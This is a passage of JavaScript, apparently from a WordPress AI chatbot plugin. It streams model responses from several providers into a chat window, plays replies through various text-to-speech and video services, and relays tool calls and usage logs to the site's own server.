jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } if(has_speech === false) { if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } function threadRunCancellingEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run cancelling:', data); } function threadRunCancelledEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run cancelled:', data); } function threadRunExpiredEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run expired:', data); } function threadRunStepCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step created:', data); } function threadRunStepInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step in progress:', data); } function threadRunStepDeltaEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step delta:', data); var xarr = {'tool_calls': []}; xarr.tool_calls.push(data.delta.step_details.tool_calls[0]); aiomatic_mergeDeep(func_call, xarr); func_calls++; } function threadRunStepCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step completed:', data); } function threadRunStepCancelledEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step cancelled:', data); } function threadRunStepExpiredEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step expired:', data); } function threadMessageCreatedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message created:', data); } function threadMessageInProgressEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message in progress:', data); } function threadMessageDeltaEventHandler(e) { var data = JSON.parse(e.data); if(typeof data.delta.content[0].text.value !== 'undefined') { content_generated = data.delta.content[0].text.value; response_data += aiomatic_nl2br(content_generated); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } else { console.log('Generated content not found: ' + data); } } function threadMessageIncompleteEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message incomplete:', data); eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } function threadRunFailedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run failed:', data); console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } function threadRunStepFailedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run step failed:', data); console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } function threadMessageCompletedEventHandler(e) { var data = JSON.parse(e.data); //console.log('Run message completed:', data); } function handleCompletionEvent(e) { if(aiomatic_chat_ajax_object.model_type == 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var currentContent = jQuery('#aiomatic_chat_history' + instance).html(); var resultData = null; if(e.data == '[DONE]') { var hasFinishReason = true; } else { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } var hasFinishReason = resultData && (resultData.finish_reason === "stop" || resultData.finish_reason === "length"); if(resultData.stop_reason == 'stop_sequence' || resultData.stop_reason == 'max_tokens') { hasFinishReason = true; } } var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { if(resultData !== null) { var result = resultData; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; }; } if(result.error !== undefined){ if(result.error !== undefined){ error_generated = result.error[0].message; } else { error_generated = JSON.stringify(result.error); } if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } console.log('Error while processing request(1): ' + error_generated); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); } else { if(result.completion !== undefined) { content_generated = result.completion; } else if(result.content[0].text !== undefined) { content_generated = result.content[0].text; } else { content_generated = ''; } } response_data += aiomatic_nl2br(content_generated); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0 && currentContent !== ''){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; jQuery('#aiomatic_chat_history' + instance).html(currentContent + '<br /><br />'); } } else if(content_generated === '\n' && aiomatic_response_events === 0 && currentContent === ''){ } else{ aiomatic_newline_before = false; aiomatic_response_events += 1; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } } if(count_line >= aiomatic_limitLines) { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); var x_input_text = jQuery('#aiomatic_chat_history' + instance).html(); if((persistent != 'off' && persistent != '0' && persistent != '') && user_id != '0' && error_generated == '') { var save_persistent = x_input_text; if(persistent == 'vector') { save_persistent = user_question; } jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_user_meta_save', nonce: aiomatic_chat_ajax_object.persistentnonce, persistent: persistent, thread_id: aiomatic_chat_ajax_object.thread_id, x_input_text: save_persistent, user_id: user_id }, success: function() { }, error: function(error) { console.log('Error while saving persistent user log: ' + error.responseText); }, }); } if(error_generated == '') { jQuery.ajax({ type: 'POST', url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_record_user_usage', nonce: aiomatic_chat_ajax_object.persistentnonce, user_id: user_id, input_text: input_text, response_text: response_data, model: model, temp: temp, vision_file: vision_file, user_token_cap_per_day: aiomatic_chat_ajax_object.user_token_cap_per_day }, success: function() { }, error: function(error) { console.log('Error while saving user data: ' + error.responseText); }, }); } if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } var has_speech = false; if(aiomatic_chat_ajax_object.receive_message_sound != '') { var snd = new Audio(aiomatic_chat_ajax_object.receive_message_sound); snd.play(); } if(error_generated == '' && !jQuery('.aiomatic-gg-unmute').length) { if(aiomatic_chat_ajax_object.text_speech == 'elevenlabs') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_elevenlabs_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('ElevenLabs API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'openai') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_openai_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.responseType = "arraybuffer"; speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var blob = new Blob([speechRequest.response], {type: "audio/mpeg"}); var fr = new FileReader(); fr.onload = function () { var fileText = this.result; try { var errorMessage = JSON.parse(fileText); console.log('OpenAI TTS API failed: ' + errorMessage.msg); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } catch (errorBlob) { var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } fr.readAsText(blob); } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'google') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_google_voice_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success'){ var byteCharacters = atob(jsonresult.audio); const byteNumbers = new Array(byteCharacters.length); for (let i = 0; i < byteCharacters.length; i++) { byteNumbers[i] = byteCharacters.charCodeAt(i); } const byteArray = new Uint8Array(byteNumbers); const blob = new Blob([byteArray], {type: 'audio/mp3'}); var blobUrl = URL.createObjectURL(blob); var audioElement = document.createElement('audio'); audioElement.src = blobUrl; audioElement.controls = true; audioElement.style.marginTop = "2px"; audioElement.style.width = "100%"; audioElement.addEventListener("error", function(event) { console.error("Error loading or playing the audio: ", event); }); jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-speech"></div>'); jQuery('#aiomatic_chat_history' + instance + ' .ai-speech:last').append(audioElement); audioElement.play(); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else{ var errorMessageDetail = 'Google: ' + jsonresult.msg; console.log('Google Text-to-Speech error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in Google Text-to-Speech API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'did') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { has_speech = true; let speechData = new FormData(); speechData.append('nonce', aiomatic_chat_ajax_object.nonce); speechData.append('overwrite_voice', aiomatic_chat_ajax_object.overwrite_voice); speechData.append('x_input_text', response_data); speechData.append('action', 'aiomatic_get_d_id_video_chat'); var speechRequest = new XMLHttpRequest(); speechRequest.open("POST", aiomatic_chat_ajax_object.ajax_url); speechRequest.ontimeout = () => { console.error(`The request for ` + aiomatic_chat_ajax_object.ajax_url + ` timed out.`); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onerror = function () { console.error("Network Error"); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onabort = function () { console.error("The request was aborted."); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; }; speechRequest.onload = function () { var result = speechRequest.responseText; try { var jsonresult = JSON.parse(result); if(jsonresult.status === 'success') { var videoURL = '<video class="ai_video" autoplay="autoplay" controls="controls"><source src="' + jsonresult.video + '" type="video/mp4"></video>'; jQuery('#aiomatic_chat_history' + instance).html(x_input_text + '<div class="ai-video">' + videoURL + '</div>'); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } else { var errorMessageDetail = 'D-ID: ' + jsonresult.msg; console.log('D-ID Text-to-video error: ' + errorMessageDetail); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } catch (errorSpeech){ console.log('Exception in D-ID Text-to-video API: ' + errorSpeech); jQuery('#openai-chat-response' + instance).html(' '); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } speechRequest.send(speechData); } } else { if(aiomatic_chat_ajax_object.text_speech == 'didstream') { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { if(avatarImageUrl != '' && did_app_id != '') { if(streamingEpicFail === false) { has_speech = true; myStreamObject.talkToDidStream(response_data); jQuery('#openai-chat-response' + instance).html(' '); aiomatic_generator_working = false; } } } } else { if(aiomatic_chat_ajax_object.text_speech == 'free') { var T2S; if("speechSynthesis" in window || speechSynthesis) { response_data = response_data.replace(/([\u2700-\u27BF]|[\uE000-\uF8FF]|\uD83C[\uDC00-\uDFFF]|\uD83D[\uDC00-\uDFFF]|[\u2011-\u26FF]|\uD83E[\uDD10-\uDDFF])/g, ''); if(response_data != '') { T2S = window.speechSynthesis || speechSynthesis; var utter = new SpeechSynthesisUtterance(response_data); var voiceSetting = aiomatic_chat_ajax_object.free_voice.split(";"); var desiredVoiceName = voiceSetting[0].trim(); var desiredLang = voiceSetting[1].trim(); var voices = T2S.getVoices(); var selectedVoice = voices.find(function(voice) { return voice.name === desiredVoiceName && voice.lang === desiredLang; }); if (selectedVoice) { utter.voice = selectedVoice; utter.lang = selectedVoice.lang; } else { utter.lang = desiredLang; } T2S.speak(utter); } } } } } } } } } if(has_speech === false) { if(error_generated == '') { jQuery('#openai-chat-response' + instance).html(' '); } aiomaticRmLoading(chatbut); aiomatic_generator_working = false; } } } } function handleMessageEvent(e) { if(aiomatic_chat_ajax_object.model_type != 'claude') { var aiomatic_newline_before = false; var aiomatic_response_events = 0; var aiomatic_limitLines = 1; var currentContent = jQuery('#aiomatic_chat_history' + instance).html(); var resultData = null; if(e.data == '[DONE]') { var hasFinishReason = true; } else { if(aiomatic_chat_ajax_object.model_type != 'google') { try { resultData = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } var hasFinishReason = resultData.choices && resultData.choices[0] && (resultData.choices[0].finish_reason === "stop" || resultData.choices[0].finish_reason === "length"); } } if(aiomatic_chat_ajax_object.model_type != 'google') { if(aiomatic_chat_ajax_object.model_type != 'ollama') { var content_generated = ''; if(hasFinishReason){ count_line += 1; aiomatic_response_events = 0; } else { var result = null; try { result = JSON.parse(e.data); } catch (e) { console.warn(e); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; }; if(result.error !== undefined){ if(result.error !== undefined){ error_generated = result.error[0].message; } else { error_generated = JSON.stringify(result.error); } if(error_generated === undefined) { error_generated = result.error.message; } if(error_generated === undefined) { error_generated = result.error; } console.log('Error while processing request(2): ' + error_generated); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">' + error_generated + '</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); return; } else { if(aiomatic_chat_ajax_object.model_type == 'huggingface') { if (result.generated_text) { var hasFinishReason = true; count_line += 1; aiomatic_response_events = 0; } else { content_generated = result.token.text; } } else { content_generated = result.choices[0].delta !== undefined ? (result.choices[0].delta.content !== undefined ? result.choices[0].delta.content : '') : result.choices[0].text; } } response_data += aiomatic_nl2br(content_generated); var appendx = '<div class="ai-wrapper">'; if(aiomatic_chat_ajax_object.bubble_alignment != 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '<div class="ai-bubble ai-other">' + response_data + '</div>'; if(aiomatic_chat_ajax_object.bubble_alignment == 'right' && aiomatic_chat_ajax_object.avatar_url != '' && aiomatic_chat_ajax_object.show_ai_avatar == 'show') { appendx += '<div class="ai-avatar ai-other"></div>'; } appendx += '</div>'; if((content_generated === '\n' || content_generated === ' \n' || content_generated === '.\n' || content_generated === '\n\n' || content_generated === '.\n\n' || content_generated === '"\n') && aiomatic_response_events > 0 && currentContent !== ''){ if(!aiomatic_newline_before) { aiomatic_newline_before = true; jQuery('#aiomatic_chat_history' + instance).html(currentContent + '<br /><br />'); } } else if(content_generated === '\n' && aiomatic_response_events === 0 && currentContent === ''){ } else if(response_data == '') { aiomatic_newline_before = false; aiomatic_response_events += 1; } else{ aiomatic_newline_before = false; aiomatic_response_events += 1; jQuery('#aiomatic_chat_history' + instance).html(initialContent + appendx); } if(result.choices !== undefined && result.choices[0] !== undefined && result.choices[0].delta !== undefined) { aiomatic_mergeDeep(func_call, result.choices[0].delta); if (result.choices[0].finish_reason === "tool_calls" || result.choices[0].finish_reason === "tool_call") { jQuery.ajax({ type: 'POST', async: false, url: aiomatic_chat_ajax_object.ajax_url, data: { action: 'aiomatic_call_ai_function', nonce: aiomatic_chat_ajax_object.persistentnonce, func_call: func_call }, success: function(result) { result = JSON.parse(result); if(result.scope == 'fail') { console.log('Error while calling parsing functions: ' + result); jQuery('#openai-chat-response' + instance).html('<div class="text-primary highlight-text" role="status">Failed to process the request, please try again later.</div>'); aiomaticRmLoading(chatbut); aiomatic_generator_working = false; if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } return; } else { if(result.scope == 'response') { console.log('Recalling AI chat'); if (typeof eventGenerator !== 'undefined') { eventGenerator.close(); jQuery('#aistopbut' + instance).hide(); } if(aiomatic_chat_ajax_object.enable_god_mode == '') { aiomatic_chat_ajax_object.enable_god_mode = 'off'; } var internet_permission = aiomatic_chat_ajax_object.internet_access; if(jQuery('#aiomatic-globe-overlay' + instance).hasClass('aiomatic-globe-bar')) { internet_permission = 'disabled'; } var eventURL = aiomatic_chat_ajax_object.stream_url; eventURL += '&input_text=' + encodeURIComponent(input_text); if(pdf_data != '') { eventURL += '&pdf_data=' + encodeURIComponent(pdf_data); } if(file_data != '') { eventURL += '&file_data=' + encodeURIComponent(file_data); } if(aiomatic_chat_ajax_object.user_token_cap_per_day != '') { eventURL += '&user_token_cap_per_day=' + encodeURIComponent(aiomatic_chat_ajax_object.user_token_cap_per_day); } if(aiomatic_chat_ajax_object.user_id != '') { eventURL += '&user_id=' + encodeURIComponent(aiomatic_chat_ajax_object.user_id); } 